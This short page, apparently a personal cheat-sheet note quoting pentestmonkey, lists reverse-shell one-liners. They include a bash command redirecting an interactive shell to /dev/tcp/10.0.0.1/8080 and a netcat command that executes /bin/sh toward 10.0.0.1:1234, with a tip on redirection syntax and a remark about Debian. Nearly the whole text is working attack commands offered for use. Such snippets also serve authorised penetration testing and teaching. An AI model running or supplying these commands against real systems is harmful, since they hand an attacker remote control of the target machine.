Reverse Shell

Reverse Shell in Bash

from: https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

1
$ bash -i &> /dev/tcp/10.0.0.1/8080 0>&1

tip

The &> (or >&) is shorthand for redirecting stdout and stderr.
Longer form: bash -i > /dev/tcp/10.0.0.1/8080 2>&1 0>&1

warning

/dev/tcp is disabled in debian

Reverse Shell with Netcat

from: https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

1
nc -e /bin/sh 10.0.0.1 1234

comments powered by Disqus